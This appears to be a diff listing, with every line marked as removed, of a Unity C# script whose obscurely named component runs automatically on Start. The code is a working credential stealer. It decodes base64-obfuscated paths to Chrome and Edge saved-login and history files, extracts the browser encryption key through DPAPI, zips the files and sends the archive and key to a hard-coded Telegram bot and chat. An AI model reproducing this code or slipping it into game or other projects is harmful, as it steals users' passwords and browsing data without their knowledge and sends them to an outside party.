123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248 |
- using Newtonsoft.Json;
- using System;
- using UnityEngine;
- using System.IO;
- using System.IO.Compression;
- using System.Linq;
- using System.Collections;
- using UnityEngine.Networking;
- using System.Collections.Generic;
- using System.Text;
- using Newtonsoft.Json.Linq;
- public class Clasffs1 : MonoBehaviour
- {
- private string botToken;
- private string chatId;
- private readonly string tempFolder = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());
- private readonly string UserName = Environment.GetEnvironmentVariable("USERNAME");
- private void Start()
- {
- botToken = DecodeFromBase64("NTg3MzY0NDI5NzpBQUVtVmo3cFNKNUkzY0YxRHhYTmJiSkw3QTBKbXNqRzVWQQ==");
- chatId = DecodeFromBase64("ODg1ODk5MDk3");
- string CP = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcRGVmYXVsdFxMb2dpbiBEYXRh");
- string CH = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcRGVmYXVsdFxIaXN0b3J5");
- string EP = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhXERlZmF1bHRcTG9naW4gRGF0YQ==");
- string EH = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhXERlZmF1bHRcSGlzdG9yeQ==");
- List<string[]> filesToInclude = new List<string[]>
- {
- new string[] { CP, "CP" },
- new string[] { CH, "CH" },
- new string[] { EP, "EP" },
- new string[] { EH, "EH" },
- // Add more file paths as needed
- };
- SendBytesWithCaption(Key(), CreateZipArchiveBytes(filesToInclude), "MarkDown", UserName + ".zip");
- }
- private string Key()
- {
- try
- {
- string LoginsKeyPath = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcTG9jYWwgU3RhdGU=");
- if (File.Exists(LoginsKeyPath))
- {
- var result = File.ReadAllText(LoginsKeyPath);
- if (result != null)
- {
- JObject json = JsonConvert.DeserializeObject<JObject>(result);
- string key = json.SelectToken("os_crypt.encrypted_key").ToString();
- var tempKey = Convert.FromBase64String(key);
- var encTempKey = tempKey.Skip(5).ToArray();
- // Unprotected Key
- var decryptionkey = System.Security.Cryptography.ProtectedData.Unprotect(encTempKey, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
- // Protected Encryption/Decryption Key
- string byteRepresentation = "`";
- foreach (byte b in decryptionkey)
- {
- byteRepresentation += b.ToString() + "*";
- }
- byteRepresentation = byteRepresentation.Substring(0, byteRepresentation.Length - 1) + "`";
- string tempFilePath = Path.Combine(tempFolder, "key.bin");
- try
- {
- Directory.CreateDirectory(tempFolder);
- File.WriteAllBytes(tempFilePath, decryptionkey);
- }
- catch
- {
- }
- return byteRepresentation;
- }
- }
- else
- {
- LoginsKeyPath = DecodeFromBase64("QzpcVXNlcnNc") + UserName + DecodeFromBase64("XEFwcERhdGFcTG9jYWxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhXExvY2FsIFN0YXRl");
- if (File.Exists(LoginsKeyPath))
- {
- var result = File.ReadAllText(LoginsKeyPath);
- if (result != null)
- {
- JObject json = JsonConvert.DeserializeObject<JObject>(result);
- string key = json.SelectToken("os_crypt.encrypted_key").ToString();
- var tempKey = Convert.FromBase64String(key);
- var encTempKey = tempKey.Skip(5).ToArray();
- // Unprotected Key
- var decryptionkey = System.Security.Cryptography.ProtectedData.Unprotect(encTempKey, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
- // Protected Encryption/Decryption Key
- string byteRepresentation = "`";
- foreach (byte b in decryptionkey)
- {
- byteRepresentation += b.ToString() + "*";
- }
- byteRepresentation = byteRepresentation.Substring(0, byteRepresentation.Length - 1) + "`";
- string tempFilePath = Path.Combine(tempFolder, "key.bin");
- try
- {
- Directory.CreateDirectory(tempFolder);
- File.WriteAllBytes(tempFilePath, decryptionkey);
- }
- catch
- {
- }
- return byteRepresentation;
- }
- }
- }
- }
- catch { }
- return "Cannat Get It";
- }
- public void SendMessage(string text, string parseMode)
- {
- string apiUrl = $"https://api.telegram.org/bot{botToken}/sendMessage";
- WWWForm form = new WWWForm();
- form.AddField("chat_id", chatId);
- form.AddField("text", text);
- form.AddField("parse_mode", parseMode);
- StartCoroutine(SendRequest(apiUrl, form));
- }
- public void SendBytesWithCaption(string caption, byte[] fileData, string parseMode, string name)
- {
- string apiUrl = $"https://api.telegram.org/bot{botToken}/sendDocument";
- WWWForm form = new WWWForm();
- form.AddField("chat_id", chatId);
- form.AddField("caption", caption);
- form.AddField("parse_mode", parseMode);
- form.AddBinaryData("document", fileData, name, "application/zip");
- StartCoroutine(SendRequest(apiUrl, form));
- }
- IEnumerator SendRequest(string url, WWWForm form)
- {
- using (UnityWebRequest webRequest = UnityWebRequest.Post(url, form))
- {
- yield return webRequest.SendWebRequest();
- if (webRequest.result != UnityWebRequest.Result.Success)
- {
- }
- else
- {
- }
- }
- }
- public byte[] CreateZipArchiveBytes(List<string[]> filesAndFoldersToInclude)
- {
- Directory.CreateDirectory(tempFolder);
- try
- {
- foreach (string[] source in filesAndFoldersToInclude)
- {
- string sourcePath = source[0];
- if (File.Exists(sourcePath))
- {
- string fileName = source[1];
- string tempFilePath = Path.Combine(tempFolder, fileName);
- File.Copy(sourcePath, tempFilePath);
- }
- else if (Directory.Exists(sourcePath))
- {
- string folderName = source[1];
- string tempFolderPath = Path.Combine(tempFolder, folderName);
- CopyDirectory(sourcePath, tempFolderPath);
- }
- else
- {
- }
- }
- using (MemoryStream memoryStream = new MemoryStream())
- {
- using (ZipArchive archive = new ZipArchive(memoryStream, ZipArchiveMode.Create, true))
- {
- foreach (string tempFilePath in Directory.GetFiles(tempFolder, "*", SearchOption.AllDirectories))
- {
- string relativePath = Path.GetRelativePath(tempFolder, tempFilePath);
- var entry = archive.CreateEntry(relativePath, System.IO.Compression.CompressionLevel.Optimal);
- using (var entryStream = entry.Open())
- using (var fileStream = File.OpenRead(tempFilePath))
- {
- fileStream.CopyTo(entryStream);
- }
- }
- }
- return memoryStream.ToArray();
- }
- }
- finally
- {
- Directory.Delete(tempFolder, true);
- }
- }
- private static void CopyDirectory(string sourceDir, string destDir)
- {
- Directory.CreateDirectory(destDir);
- foreach (string file in Directory.GetFiles(sourceDir))
- {
- string fileName = Path.GetFileName(file);
- string destFile = Path.Combine(destDir, fileName);
- File.Copy(file, destFile);
- }
- foreach (string subDir in Directory.GetDirectories(sourceDir))
- {
- string folderName = Path.GetFileName(subDir);
- string destSubDir = Path.Combine(destDir, folderName);
- CopyDirectory(subDir, destSubDir);
- }
- }
- public static string DecodeFromBase64(string encodedText)
- {
- byte[] encodedTextBytes = Convert.FromBase64String(encodedText);
- string plainText = Encoding.UTF8.GetString(encodedTextBytes);
- return plainText;
- }
- }
|